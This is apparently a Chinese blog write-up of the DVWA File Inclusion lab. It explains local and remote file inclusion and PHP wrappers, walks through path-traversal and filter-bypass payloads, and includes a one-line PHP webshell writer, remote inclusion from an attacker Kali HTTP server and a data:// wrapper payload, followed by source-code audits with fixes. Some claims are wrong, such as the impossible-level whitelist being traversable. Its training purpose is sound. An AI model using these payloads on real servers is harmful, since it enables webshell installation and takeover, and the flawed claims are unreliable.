DVWA靶场——File Inclusion
File Inclusion(文件包含)漏洞
指攻击者通过恶意构造输入,利用应用程序错误的文件包含机制,导致程序包含并执行未经授权的本地或远程文件。这类漏洞广泛存在于Web应用程序中,尤其是在那些允许用户提供文件路径或URL的地方。
1. File Inclusion漏洞类型
File Inclusion漏洞主要分为两种类型:
1.1 本地文件包含(Local File Inclusion, LFI)
本地文件包含漏洞允许攻击者通过恶意构造的路径包含本地服务器上的任意文件,进而导致敏感信息泄露,甚至远程代码执行。
示例:
<?php
include($_GET['page']); // 通过GET参数传入页面名称
?>
攻击者可以通过访问如下URL来利用LFI漏洞:
http://example.com/index.php?page=/etc/passwd
这将导致/etc/passwd文件的内容泄露。若服务器配置不当,攻击者还可能通过路径遍历(../)访问其他敏感文件。
1.2 远程文件包含(Remote File Inclusion, RFI)
远程文件包含漏洞允许攻击者通过提供远程URL,包含并执行远程服务器上的文件。这通常会导致远程代码执行,攻击者可以上传恶意脚本并在受害服务器上执行。
示例:
<?php
include($_GET['page']); // 通过GET参数传入页面名称
?>
如果没有对用户输入进行有效的检查,攻击者可以通过以下URL引发远程文件包含:
http://example.com/index.php?page=http://attacker.com/malicious_file.php
这样,远程的malicious_file.php脚本就会被包含并在目标服务器上执行。
2. File Inclusion漏洞的攻击路径
- 信息泄露: 攻击者可以利用LFI漏洞泄露服务器上的敏感信息(如密码文件、配置文件等)。
- 远程代码执行: 如果允许远程文件包含,攻击者可以通过上传恶意文件,远程执行代码。
- 服务器命令执行: 通过将恶意脚本注入并包含到服务器中,攻击者可以通过执行命令控制服务器。
3. 防御措施
3.1 严格验证输入
- 输入验证: 始终验证用户输入,限制文件路径的范围。可以通过白名单机制来限制可包含的文件路径。
- 禁用URL包含: 在PHP等语言中,可以通过配置allow_url_include为Off来禁止远程文件包含。
3.2 使用固定路径
- 避免用户输入直接作为文件路径: 如果必须从外部输入文件路径,使用固定的目录和文件名,避免让攻击者控制文件路径。
3.3 使用文件扩展名白名单
- 白名单限制文件类型: 限制用户输入的文件类型,例如只允许.php、.html等预定义的文件。
3.4 禁止执行某些文件
- 配置Web服务器: 禁止在某些目录(如上传目录)中执行文件,防止攻击者上传并执行恶意脚本。
3.5 最小化文件权限
- 最小权限原则: 对Web服务器上的文件进行权限控制,确保其只能读取和写入必要的文件,避免赋予过高的权限。
4. 检测和漏洞修复
4.1 代码审计
- 检查include、require等文件包含函数的使用,确保没有直接从用户输入读取文件路径。
4.2 使用安全开发框架
- 使用安全开发框架,自动对输入进行严格验证和过滤。
4.3 使用现代的防御技术
- 配置Web应用防火墙(WAF)来检测并阻止文件包含漏洞的利用。
靶场启动报错解决: 关于DVWA靶场File Inclusion中出现The PHP function allow_url_include is not enabled解决办法_dvwa the php function allow url include is not ena-CSDN博客
漏洞利用前置知识点:
在php.ini配置文件里面存在两个配置选项,allow_url_include/allow_url_fopen。当这两个配置选项都为On时,就可能存在RFI(远程文件包含);如果allow_url_include为On,allow_url_fopen为Off时,则存在LFI(本地文件包含),可以执行PHP代码(利用PHP伪协议)来获得webshell
PHP伪协议(PHP wrapper protocols)是PHP中的一种特殊的协议,允许通过自定义的协议访问不同的数据源或文件。例如,常见的file://协议用于读取本地文件,而php://协议则是PHP特有的协议,用于访问PHP内部流或执行某些特定操作。PHP伪协议常被攻击者利用来绕过安全限制、读取敏感信息、或者在服务器上执行恶意代码
伪协议 | 用途 | 潜在攻击场景 | 防御措施 |
php://input | 读取原始POST数据。 | 攻击者可能通过操控POST数据,读取敏感信息。 | 严格验证和过滤POST数据,避免直接使用未验证的输入。 |
php://filter | 文件内容过滤(如字符串转化、压缩等)。 | 攻击者可用来绕过过滤或操控文件内容,泄露敏感信息。 | 禁止不必要的文件过滤操作,确保过滤链的安全。 |
php://localhost | 本地文件读取,可能存在未过滤的路径。 | 攻击者可利用路径读取服务器上的敏感文件。 | 禁用或限制此协议的使用,确保不允许外部访问本地资源。 |
php://memory | 将数据读入内存。 | 攻击者可能通过内存注入篡改文件内容或执行恶意代码。 | 限制该协议的使用范围,仅限必要的内存操作。 |
php://temp | 临时文件存储。 | 攻击者可以注入恶意脚本,绕过其他安全措施。 | 确保对临时文件的权限和内容进行严格控制。 |
data:// | 将数据嵌入URL中传递。 | 攻击者可以通过构造恶意数据来绕过输入验证。 | 使用安全的输入验证策略,确保对URL数据的严格过滤。 |
file:// | 本地文件系统读取文件。 | 攻击者通过路径遍历读取敏感文件(如/etc/passwd)。 | 禁止直接从用户输入中读取文件路径,限制文件路径的访问。 |
glob:// | 列出符合模式的文件。 | 攻击者可能列出敏感文件,进行信息泄露。 | 只允许列出特定目录中的文件,避免敏感目录被列出。 |
phar:// | 读取PHAR文件内容。 | 攻击者上传恶意PHAR文件,通过此协议执行恶意代码。 | 禁止上传可执行PHAR文件,使用白名单机制控制可执行文件。 |
1,low难度下的File Inclusion漏洞利用(本地文件包含)
1,观察靶场环境
2,依次点击这三个文件,发现是URL栏的链接变动实现了页面切换
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file2.php
而且只是page=后的参数发生变化,因此可以通过改变将page后的参数测试有无有无漏洞
2,通过hackbar传构造测试payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=1.php
可以看到是可以读取这个文件的,尽管不存在但还是爆出来了路径
3,可以构造payload尝试读取phpinfo.php(通过控制..的用法测试出phpinfo.php的路径):http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php
- 文件包含漏洞(File Inclusion Vulnerability):如果应用程序没有对用户输入进行严格验证,攻击者可以通过提供恶意的文件路径来包含服务器上的任意文件。../../ 是典型的 路径遍历攻击,攻击者试图通过调整文件路径来访问应用服务器的敏感文件(例如 phpinfo.php、/etc/passwd、config.php 等)。
- 路径遍历攻击:当你访问 ?page=../../phpinfo.php 时,../../ 意味着向上遍历两个目录,攻击者希望访问位于服务器其他位置的文件(例如 /var/www/html/phpinfo.php)。在这个例子中,攻击者尝试包含 phpinfo.php,以便查看关于服务器和 PHP 环境的敏感信息。
phpinfo.php 是一个非常常见的 PHP 文件,用于输出当前 PHP 环境的详细信息,包括 PHP 版本、配置选项、加载的模块、环境变量等。这对调试、查看 PHP 配置、安装的扩展、服务器环境等信息非常有帮助。
4,这就验证了这个网站存在本地文件包含漏洞,如果一个网站仅仅存在本地文件包含漏洞,这也仅能够做一些有限的操作
本地文件包含漏洞的局限性:
1. 依赖于文件包含机制
LFI 漏洞的存在与否完全依赖于 Web 应用程序是否使用文件包含机制(如 PHP 中的 include 或 require)。如果应用程序没有使用文件包含操作,或者没有暴露可以通过用户输入控制的文件路径,那么 LFI 攻击就无法发生。
- 无文件包含功能的应用:如果应用程序没有通过 URL 或其他方式允许用户指定包含的文件,则 LFI 漏洞无法发生。
- 只支持特定文件格式或路径:许多应用程序会限制可以包含的文件格式(如仅允许 .php 文件),或者仅允许从特定目录加载文件,这限制了攻击者的攻击面。
2. 权限限制
LFI 漏洞的攻击效果在很大程度上取决于服务器的权限设置。如果文件包含操作允许读取文件的范围受到严格限制,攻击者的攻击效果会大打折扣。
- 严格的文件权限:如果服务器上的敏感文件(如 /etc/passwd、/etc/shadow、应用程序配置文件等)只有特定用户或进程可以读取,攻击者无法通过 LFI 漏洞直接访问这些文件。
- PHP 等执行环境的限制:许多服务器会在 PHP 配置中禁用文件包含功能,或者启用了 open_basedir、safe_mode 等安全设置,限制了包含文件的路径和范围,从而减少了攻击者通过 LFI 漏洞访问系统文件的能力。
3. 路径遍历的限制
LFI 漏洞常见的攻击方式是通过路径遍历(../../)来访问上级目录或敏感文件。然而,路径遍历攻击的有效性会受到如下因素的限制:
- 输入过滤和路径限制:许多 Web 应用程序对输入的文件路径会进行过滤或限制,阻止如 ../、..\ 等路径遍历符号的使用。
- Web 服务器配置:Web 服务器(如 Apache 或 Nginx)通常会限制特定目录(例如 document_root 目录)之外的文件访问,因此即使攻击者能够操纵 page 参数,也只能访问到某些受限的文件,无法访问整个文件系统。
4. 未能充分利用文件包含漏洞
在某些情况下,即使存在 LFI 漏洞,攻击者可能无法从中获得足够的信息或控制权,尤其是在文件包含操作的实现不符合攻击者的预期时。例如:
- 不能执行代码:如果 LFI 漏洞仅允许包含纯文本文件(如日志文件或文档文件)而不允许执行 PHP 代码,攻击者就无法通过包含恶意代码来实现远程代码执行(RCE)。
- 无法控制文件内容:攻击者如果无法上传文件或者无法控制文件的内容(例如,上传的文件内容被清理或格式化),即使可以通过 LFI 包含文件,也无法执行恶意代码。
5. 依赖于其他漏洞
LFI 漏洞通常需要配合其他漏洞才能有效利用。例如,攻击者可能需要:
- 文件上传漏洞:攻击者通过文件上传漏洞上传恶意文件(如 PHP 脚本),然后利用 LFI 漏洞将其包含并执行。
- 信息泄露漏洞:如果攻击者能通过 LFI 获取某些敏感信息(如数据库凭证、文件路径、配置信息等),他们可能会进一步利用这些信息来发起其他攻击。
- 代码执行漏洞:如果 LFI 漏洞本身无法直接导致代码执行,攻击者需要利用其他漏洞(如跨站脚本攻击、SQL 注入等)来获得执行权限。
6. 攻击效果受目标系统配置影响
不同系统和环境的配置可能对 LFI 漏洞的利用造成不同的影响。例如:
- 启用日志文件的 Web 服务器:如果 Web 服务器配置允许记录错误信息(如 PHP 错误日志)并且这些日志文件没有受到足够保护,攻击者可能会通过 LFI 访问到这些日志并获取到敏感信息,如数据库查询语句、应用程序栈跟踪等。
- 启用 open_basedir 或 chroot 等安全机制的 PHP 环境:这些安全机制限制了 PHP 脚本只能访问特定的目录,从而有效限制了 LFI 漏洞的攻击范围。即使存在 LFI 漏洞,攻击者也无法访问服务器上其他目录的文件。
7. 缺乏恶意载入功能
某些 LFI 漏洞可能不能直接导致恶意文件的加载,特别是在缺乏对文件上传、文件内容控制或者执行权限的支持时。攻击者只能读取静态文件,无法执行其包含的恶意代码。
总结
虽然 LFI 漏洞具有潜在的严重危害性,但它的利用也存在一些局限性,包括:
- 依赖文件包含机制:LFI 漏洞只有在应用程序支持文件包含并允许用户输入文件路径时才存在。
- 权限限制:文件访问权限和执行环境的限制可能会限制攻击者的活动范围。
- 路径遍历限制:路径遍历可能会受到过滤或限制,导致攻击受阻。
- 需要配合其他漏洞:LFI 漏洞常常需要与其他漏洞(如文件上传漏洞、信息泄露漏洞等)结合使用,才能达到更大的攻击效果。
- 系统配置影响:Web 服务器和 PHP 环境的安全配置可能会减少 LFI 漏洞的危害。
本地文件包含(LFI)漏洞的攻击者利用可能造成的主要危害包括:
1. 信息泄露
攻击者通过 LFI 漏洞可以访问和读取系统上的敏感文件。常见的泄露文件包括:
- /etc/passwd(Linux 系统):这个文件存储了系统的用户账户信息,攻击者可以从中获取用户的用户名、UID、GID等。如果结合其他漏洞(如密码猜测、暴力破解),攻击者可能获得系统的访问权限。
- Web 应用程序的配置文件:比如存储数据库连接信息的配置文件(如 config.php、wp-config.php 等),其中可能包含数据库用户名、密码、主机名等敏感数据。
- 系统日志文件:如果系统日志中记录了敏感操作(如数据库错误、应用程序异常等),攻击者可以从日志文件中获取信息,甚至发现其他潜在漏洞。
- API 密钥、加密密钥等:某些应用程序可能将密钥、证书等敏感数据存储在文件中,LFI 漏洞可以被用来读取这些文件,从而泄露重要信息。
2. 远程代码执行(RCE)
LFI 漏洞可以进一步利用来实现远程代码执行(RCE),这通常是攻击者通过上传恶意文件(如 PHP 脚本)并利用 LFI 漏洞来执行它们的方式。攻击者的目标通常是:
- 上传恶意 PHP 文件:攻击者可以通过其他漏洞(如文件上传漏洞)上传一个包含恶意代码的 PHP 文件。然后,通过 LFI 漏洞将这个文件包含到应用程序中,进而执行文件中的恶意代码。
- 执行服务器上的恶意脚本:攻击者可以构造一个 URL,要求服务器包含并执行已经存在的恶意文件,或者利用应用程序中的 LFI 漏洞载入服务器上的恶意脚本。
例如,攻击者上传一个名为 shell.php 的 PHP 文件,然后通过 LFI 漏洞将该文件包含并执行:
http://example.com/index.php?page=uploads/shell.php
如果文件被包含并成功执行,攻击者就可以通过该文件控制服务器,执行任意命令或操作。
3. 本地文件覆盖
在某些情况下,LFI 漏洞也可能导致本地文件覆盖。攻击者利用漏洞将恶意代码或脚本写入系统的关键文件中,可能会对服务器造成严重破坏。例如:
- 覆盖系统文件:攻击者可能将恶意代码写入关键系统文件,如 /etc/passwd(Linux 用户文件)或 Web 服务器的配置文件(如 httpd.conf),导致系统崩溃或使系统进入无法正常工作状态。
- 覆盖应用程序文件:如果应用程序的文件可以被写入,攻击者可能通过 LFI 漏洞替换应用程序中的文件,从而篡改或破坏应用程序的功能。
4. 路径遍历与敏感文件访问
LFI 漏洞通常允许攻击者进行路径遍历(Directory Traversal),通过改变文件路径来访问本不应该暴露的文件。例如:
- 访问任意文件:攻击者可以通过修改 page 参数来访问 Web 服务器上的任意文件。例如,通过路径遍历,攻击者可以访问系统上的任意文件,如 /etc/shadow(Linux 系统中的密码哈希文件)。
- 访问其他用户的文件:攻击者可以访问存储在系统中其他用户文件夹中的文件,甚至获取其他用户的敏感数据。
5. 绕过安全限制
LFI 漏洞还可能被用来绕过某些应用程序的安全限制。例如:
- 绕过输入过滤:一些应用程序可能对特定输入进行过滤(如防止文件路径包含 ../ 等)。但是,攻击者可以通过编码或其他技术绕过这些限制,依然能达到包含敏感文件的目的。
- 绕过权限检查:LFI 漏洞可能被用来绕过某些权限检查,直接访问受限制的文件或目录,获取不应公开的敏感信息。
总结
LFI 漏洞的危害主要体现在以下几个方面:
- 信息泄露:攻击者可以窃取敏感信息,如用户数据、数据库凭证、日志文件等。
- 远程代码执行(RCE):攻击者可以通过上传恶意文件并利用 LFI 漏洞执行代码,进而控制服务器。
- 文件覆盖与篡改:攻击者可能利用 LFI 漏洞覆盖系统文件或应用程序文件,导致服务中断或功能损坏。
- 绕过安全限制:通过路径遍历或其他技巧,攻击者可能绕过应用的安全机制,访问本应受到保护的资源。
1.5,low难度下的File Inclusion漏洞利用(远程文件包含)
经过前面的测试知道存在文件包含漏洞,那么还可以测试有无远程文件包含,思路就是通过远程文件包含从攻击者搭建的服务器下载恶意的木马文件,以获取该网站的webshell
1,首先在攻击机kali上写执行远程文件包含的一句话木马,然后搭建http服务
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
python -m http.server
2,然后构造文件包含的payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://192.168.23.140:8000/hack.php
在kali上也能够验证文件包含成功
3,然后再使用蚁剑进行连接,获得网站的webshell
http://127.0.0.1/DVWA-master/vulnerabilities/fi/shell.php
成功获得网站的webshell,接下来就可以进一步提权获得服务器的控制权
对low难度的靶场进行源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
- 本地文件包含(LFI)漏洞: 由于 $file 变量的值来源于未验证的 $_GET['page'] 参数,攻击者可以通过修改 URL 参数来指定要加载的文件路径,进而访问 Web 服务器的敏感文件。
例如,攻击者可以通过访问以下 URL 来读取 /etc/passwd 文件(在类 Unix 系统中存储用户信息的文件):
http://example.com/index.php?page=../../../../etc/passwd
通过路径遍历,攻击者可以绕过限制并访问服务器上的敏感文件。../../ 表示从当前目录返回到上一级目录,多个 ../../ 则可以继续向上遍历目录。 - 信息泄露: 如果文件包含机制不加限制,攻击者能够访问和查看应用程序的配置文件、日志文件、数据库凭证、系统文件等敏感信息。例如:
- 读取数据库配置文件(如 config.php 或 wp-config.php)并获取数据库凭证。
- 获取日志文件(如 Apache 或 PHP 错误日志),其中可能泄露敏感信息(例如 SQL 错误信息、路径、用户名、密码等)。
- 远程代码执行(RCE): 如果攻击者能够通过其他方式将恶意代码(如 PHP 文件)上传到服务器,结合本地文件包含漏洞,攻击者可以通过 $_GET['page'] 参数加载并执行恶意文件。这样,攻击者可以执行任意 PHP 代码,获取服务器的控制权限。
例如,假设攻击者通过其他漏洞上传一个恶意的 PHP 文件(例如 shell.php),并通过 $_GET['page'] 参数加载它:
http://example.com/index.php?page=uploads/shell.php
如果上传目录可写且 Web 服务器允许执行上传的 PHP 文件,攻击者可以通过这种方式执行任意代码。 - 路径遍历攻击: 攻击者可以通过构造恶意的 page 参数来利用路径遍历访问服务器上的任意文件。例如:
http://example.com/index.php?page=../../../../etc/hosts
在没有有效的输入验证的情况下,这种路径遍历攻击能够让攻击者访问不该公开的文件。
攻击步骤:
- 利用路径遍历读取敏感文件:
- 攻击者构造 URL 来读取 /etc/passwd 文件或其他敏感系统文件。
- 例如:http://example.com/index.php?page=../../../../etc/passwd 读取用户列表。
- 信息泄露:
- 攻击者可以尝试访问应用程序的配置文件或日志文件,提取敏感信息(如数据库连接凭据、API 密钥等)。
- 执行远程代码:
- 如果存在文件上传漏洞,攻击者可以上传 PHP 脚本并通过本地文件包含漏洞执行它。例如,通过 page 参数包含恶意的 PHP 文件,从而执行远程命令。
- 获取 Web Shell:
- 攻击者可以通过 LFI 加载恶意文件,例如一个带有 eval() 函数的 PHP 脚本,从而执行传递的 PHP 代码。
二,medium难度下的File Inclusion
1,依然是熟悉的三个file.php
2,构造payload尝试读取phpinfo.php以验证存在文件包含漏洞
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php
发生了报错,说明对目录遍历攻击做了限制
3,尝试使用绝对路径能否绕过(在目标网站目录结构明了的情况下)
payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:/phpstudy_pro/WWW/DVWA-master/phpinfo.php
成功实现对限制使用字符串"../"的绕过
4,利用双反斜杠。在 Windows 系统中,..\ 可以使用 ..\\ 进行表示,因此可以绕过 str_replace 的替换,payload:..\\..\\phpinfo.php
5,使用使用 URL 编码。由于 PHP 会自动解码 URL 编码的字符串,攻击者可以尝试 URL 编码字符来绕过过滤。例如,%2e%2e%2f 代表 ../,%5c 代表反斜杠(\)。payload:%2e%2e%2f%2e%2e%2fphpinfo.php
6,混淆绕过的payload:..././..././phpinfo.php
7,再尝试远程文件包含从攻击机上获取一句话木马,首先开启攻击机的http服务
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
payload:http://192.168.23.140:8000/hack.php
发生报错,这是对远程文件包含的下载行为做出了限制
8,发现能够双写被过滤的字符串进行绕过,payload:httphttp://://192.168.23.140:8000/hack.php
kali linux上验证也是如此
9,接下来就可以使用蚁剑对靶机进行连接,获得网站webshell
10,第二种方法写一句话木马,本地文件包含需要用的data伪协议。payload:
data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
代码分解
- fopen('shell.php','w'):
- 这行代码用于打开一个名为 shell.php 的文件。如果该文件不存在,PHP 会尝试创建它。
- 'w' 表示写入模式,这意味着如果 shell.php 已经存在,它会被重写。
- fputs(...):
- 这个函数将内容写入文件。它的作用是将第二个参数的内容写入 shell.php 文件中。
- '<?php eval($_POST[pass])?>':
- 这部分内容是要写入 shell.php 文件的代码。具体来说,它写入的内容是 PHP 代码 <?php eval($_POST['pass'])?>,这段代码会对传入的 POST 请求参数 pass 进行 eval() 执行。
- eval() 函数是一个非常危险的函数,它会执行作为字符串传递给它的 PHP 代码。因此,攻击者可以通过向该文件发送包含恶意 PHP 代码的 POST 请求来执行任意的 PHP 代码
经过检验也是能够成功写入的
对medium难度靶场进行源码分析
功能描述
- 获取 page 参数:
- 通过 $_GET['page'] 获取请求中的 page 参数,用于决定需要显示的页面。
- 输入过滤与清理:
- 第一个 str_replace() 函数从 $file 变量中移除所有 http:// 和 https:// 字符串。这是防止远程文件包含(Remote File Inclusion, RFI)攻击的一部分,避免用户提供远程文件的 URL。
- 第二个 str_replace() 函数移除 ../ 和 ..\\,这是防止目录遍历攻击(Directory Traversal)的一部分,防止用户通过 page 参数访问系统的任意文件。
潜在问题与安全分析
尽管这段代码在一定程度上进行了输入验证,但它并没有完全确保安全性。以下是具体的分析:
1. 不完整的输入验证 — 目录遍历漏洞
- 代码中虽然移除了 ../ 和 ..\\,防止了部分常见的目录遍历攻击,但并没有考虑其他变种的目录遍历。例如,攻击者可以使用 URL 编码来绕过这些验证。
比如,攻击者可以构造如下的 URL:
page=..%2F..%2Fetc%2Fpasswd
这将被解码为 ../../etc/passwd,并可能允许攻击者读取系统上的敏感文件(如 /etc/passwd)。 - 改进建议:需要增加更多的安全过滤,考虑对 URL 编码和其他潜在的攻击方式进行解码后处理,或者直接使用白名单来验证合法的页面名称。
2. 没有明确的文件扩展名限制
- 该代码没有对 $file 变量指定文件扩展名的限制。例如,如果 $file 是一个用户可控的参数,攻击者可以指定任何文件类型,包括 PHP 文件。
- 如果攻击者能够通过 page 参数提供一个带有 .php 后缀的文件,并且该文件位于允许的目录中,攻击者可能会注入恶意 PHP 代码。
- 改进建议:强制对 $file 参数进行限制,确保它只能指向某个特定目录下的合法静态文件(如 HTML、PHP 文件),并且最好是指定一个固定的扩展名,例如 .php 或 .html。
3. 潜在的本地文件包含漏洞(Local File Inclusion, LFI)
- 代码没有对 $file 进行严格的检查,仅仅移除了 http:// 和 https://,以及 ../ 和 ..\\。这意味着如果攻击者提供了文件名,可以访问服务器上的其他文件,尤其是在没有正确配置服务器权限时。
例如,攻击者可能构造如下请求:
page=../../../../../etc/passwd
如果服务器的文件系统允许此类访问,并且存在路径穿越漏洞,攻击者将能够读取敏感文件(如 /etc/passwd)。 - 改进建议:使用白名单来限制 $file 参数,只允许访问某个特定目录中的文件。可以通过验证文件路径是否在允许的目录范围内来防止访问敏感文件。
4. 未对文件内容做检查
- 代码并没有对 $file 变量的值进行检查,是否是一个合法的文件。一个潜在的攻击者可以通过提供一个经过编码的文件路径,或者其他恶意的文件名来尝试加载不被授权的文件。
- 改进建议:在加载文件之前,确保检查文件的存在性和合法性。可以使用 realpath() 函数获取文件的绝对路径,并确认它是否在一个受信任的目录内。
5. 缺少日志记录和监控
- 如果该代码中存在潜在的安全漏洞(如文件包含漏洞),并且攻击者尝试利用该漏洞时,没有明确的日志记录和监控,可能导致漏洞被滥用而不被发现。
- 改进建议:在安全敏感的操作(如文件加载)中添加日志记录,以便能够检测到异常访问行为。比如,日志记录任何非法的文件加载尝试。
改进建议
- 加强输入验证:
- 过滤掉 ../ 和 ..\\ 之外的其他路径穿越攻击,如 URL 编码、%2E%2E/ 等。
- 采用正则表达式或白名单方法来验证 $file 参数,确保它只包含安全的字符集,并限制文件的路径和扩展名。
- 限制文件扩展名:
- 强制对文件类型进行检查,确保 $file 参数只能指向特定的文件类型(例如 .html 或 .php),并且应该明确限制文件必须存在于特定的目录下。
- 使用白名单:
- 使用白名单方式,确保 $file 只能指向预定义的合法文件。例如,可以将允许加载的文件名存储在数组或数据库中,所有用户请求的文件都必须出现在这个列表中。
- 路径检查:
- 使用 realpath() 等函数获取文件的绝对路径,确保文件不在外部目录或系统敏感目录中。
- 加强日志记录和监控:
- 监控用户的请求,特别是异常的 page 参数,记录所有的非法文件访问尝试,及时发现和响应潜在的攻击。
三,high难度下的File Inclusion
1,high难度下时,之前一些比较常见的漏洞利用payload应该都失效了,payload:../../phpinfo.php
2,绝对路径绕过也不行,尝试其他绕过手段。比如利用file伪协议读取本地文件,payload:file://D:/phpstudy_pro/WWW/DVWA-master/phpinfo.php
绕过成功,说明该靶场的配置文件没有对伪协议file://进行过滤拦截
3,尝试本地文件包含利用data伪协议写一句话木马
data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
没有成功,说明过滤限制了data伪协议
4,测试远程文件包含漏洞利用,http伪协议从攻击机kali上面下载一句话木马。payload:http:192.168.23.140:8000/hack.php
5,依然失败,那么这个时候文件包含的利用方式就大打折扣,只能使用file伪协议从本地计算机获取一句话木马
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
payload:file://D:/phpstudy_pro/shell.php
读取成功,接下来就可以使用蚁剑进行连接了
6,在实际渗透测试中,如只允许本地文件包含的情况下,一般要和任意文件上传漏洞结合。例如,攻击者在某某目录传了入了恶意文件,而目标服务器正好有一个网站存在本地文件包含漏洞,那么就可以使用伪协议file://对上传的恶意文件进行包含
对high难度下源码进行代码审计,分析其安全机制
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
1. 漏洞概述
代码的目的是基于URL中的 page 参数来加载某个文件。但存在几个潜在的安全问题,特别是与 文件包含(File Inclusion)漏洞 和 输入验证不足 相关。
2. 问题分析
A. $_GET['page'] 的不安全使用
$file = $_GET['page'];
- 这段代码从 URL 获取 page 参数值,后续没有对其进行足够严格的检查和过滤。
- 如果攻击者可以控制 page 参数的值,他们就可能通过该参数进行恶意操作。
B. 不充分的输入验证(fnmatch 和硬编码检查)
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
- fnmatch( "file*", $file ):该函数会检查 $file 是否符合某个模式(以 file 开头)。虽然表面上看,它限制了只允许以 file 开头的文件名,但如果文件名包含有害字符(如路径分隔符、相对路径 ../ 等),攻击者仍然可以绕过这个检查。
- && $file != "include.php":仅允许 include.php 作为额外的例外。然而这只是硬编码的一个文件名,其他安全性较低的文件依然有可能被包含。
C. 潜在的文件包含漏洞
虽然代码在某种程度上做了限制,但依然有潜在的路径遍历漏洞。攻击者可以通过特制的输入值(例如 ../../etc/passwd)来尝试读取服务器上的其他文件。
- fnmatch 在这段代码中的作用有限,攻击者可以尝试使用 URL 编码或路径绕过技巧,绕过该限制。
- 如果攻击者能够控制 $file 的值,且没有更严格的文件路径限制,可能会导致 本地文件包含(LFI) 漏洞。
四,impossible难度下的File Inclusion
对impossiable难度的靶场进行代码审计,分析其安全机制
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
1. 代码功能概述
这段代码根据传入的 $_GET['page'] 参数决定要加载的文件。它的主要目标是通过简单的条件判断限制加载特定文件,防止加载其他文件。具体的逻辑是:
- 如果 $_GET['page'] 的值为 include.php 或者 file1.php、file2.php、file3.php,则允许加载该文件。
- 否则,输出错误信息并终止脚本执行。
2,安全机制分析
- 输入验证
- 代码通过if语句检查$file的值是否为预定义的四个文件名之一。这种硬编码的检查方式可以防止用户加载未授权的文件。
- 错误处理
- 如果$file的值不在允许列表中,代码会输出“ERROR: File not found!”并调用exit函数终止脚本执行,防止进一步的文件操作。
3,潜在安全风险
- 文件包含漏洞
- 尽管代码对$file进行了硬编码的检查,但如果攻击者能够绕过这些检查(例如通过路径遍历攻击),他们仍然可能加载任意文件。例如,攻击者可以通过传递类似../../etc/passwd的值来尝试访问系统文件。
- 逻辑缺陷
- 代码仅检查了文件名的字面值,而没有考虑文件路径。如果$file包含路径信息(如/path/to/file.php ),代码将无法正确处理,可能导致安全漏洞。
改进建议
- 使用白名单路径
- 除了检查文件名外,还应确保文件路径在预定义的目录内。例如,可以使用basename()函数去除路径信息,或者使用realpath()函数验证文件是否在允许的目录中。
- 避免直接使用用户输入
- 可以考虑使用一个映射数组来将用户输入映射到实际的文件路径,而不是直接使用$_GET['page']的值。这样可以更好地控制允许加载的文件。
- 日志记录与监控
- 记录所有文件加载操作,并监控异常行为。这有助于及时发现并应对潜在的攻击尝试。
相关文章:
DVWA靶场——File Inclusion
File Inclusion(文件包含)漏洞 指攻击者通过恶意构造输入,利用应用程序错误的文件包含机制,导致程序包含并执行未经授权的本地或远程文件。这类漏洞广泛存在于Web应用程序中,尤其是在那些允许用户提供文件路径或URL的地…...
Android Framework禁止弹出当前VOLTE不可用的提示窗口
文章目录 VoLTE简介VoLTE 的优势 当前VOLTE不可用的弹窗弹窗代码定位屏蔽弹出窗口 VoLTE简介 VoLTE(Voice over LTE)是一种基于4G LTE网络的语音通话技术。它允许用户在4G网络上进行高质量的语音通话和视频通话,而不需要回落到2G或3G网络。V…...
OceanBase 大数据量导入(obloader)
现需要将源数据库(Oracle|MySQL等)一些表的海量数据迁移到目标数据库 OceanBase 中,基于常规 jdbc 驱动编码的方式涉及开发工作,性能效率也要看编码的处理机制。 OceanBase 官方提供了的 OceanBase Migration Service (OMS) 数据…...
w058基于web的美发门店管理系统
🙊作者简介:拥有多年开发工作经验,分享技术代码帮助学生学习,独立完成自己的项目或者毕业设计。 代码可以查看文章末尾⬇️联系方式获取,记得注明来意哦~🌹赠送计算机毕业设计600个选题excel文件࿰…...
实时数据开发 | checkpoints监控和调优
监控Checkpoints 监控 checkpoint 行为最简单的方法是通过 UI 的 checkpoint 部分。 监控这两个指标: 算子收到第一个 checkpoint barrier 的时间。当触发 checkpoint 的耗费时间一直很高时,这意味着 checkpoint barrier 需要很长时间才能从 source 到达 operator…...
el-tree的使用及控制全选、反选、获取选中
el-tree的使用及控制全选、反选、获取选中 组件使用获取选中的id全选实现反选实现全部代码 组件使用 引入组件,可以参考官网组件引入参考官网示例写好基础数据结构,不知道怎么转换树形机构的看文章:一维数组转树形 <template><el-…...
机器学习(二十五):决策树算法以及决策树和神经网络的对比
一、决策树集合 单一决策树会对训练数据的变化很敏感。例子:输入十个数据,判断是否是猫。只替换其中一个数据,信息增益最高的分裂特征就发生了改变,决策树就发生了变化。 使用决策树集合可以使算法更加健壮。例子:使用…...
新版布谷直播软件源码开发搭建功能更新明细
即将步入2025年也就是山东布谷科技专注直播系统开发,直播软件源码出售开发搭建等业务第9年,山东布谷科技不断更新直播软件功能,以适应当前新市场环境下的新要求。山东布谷科技始终秉承初心,做一款符合广大客户需求的直播系统软件。支持广大客户提交更多个…...
vue3 reactive响应式实现源码
